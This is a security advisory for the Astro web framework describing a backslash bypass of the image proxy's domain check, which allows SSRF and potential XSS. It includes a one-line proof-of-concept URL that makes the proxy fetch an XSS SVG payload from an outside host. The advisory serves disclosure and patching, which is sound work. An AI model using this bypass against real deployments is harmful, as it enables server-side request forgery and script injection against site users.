GitHub Advisoryadvisory · npm

GHSA-qcpr-679q-rhm2 Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

HIGH Published 2025-10-28 Modified 2025-10-29 Official page ↗
Aliases
CVE-2025-59837
Ecosystem
npm
Packages
astro
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weaknesses
CWE-79, CWE-918
Reviewed
2025-10-28

Affected packages

• npm astro: >= 5.13.4, < 5.13.10 → fixed in 5.13.10

Description

Summary This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch. PoC https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

Related

Alias · CVE (1)

  • CVE-2025-59837 Astro is a web framework that includes an image proxy. vulnerability

Weakness · CWE (2)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness
  • CWE-918 Server-Side Request Forgery weakness

References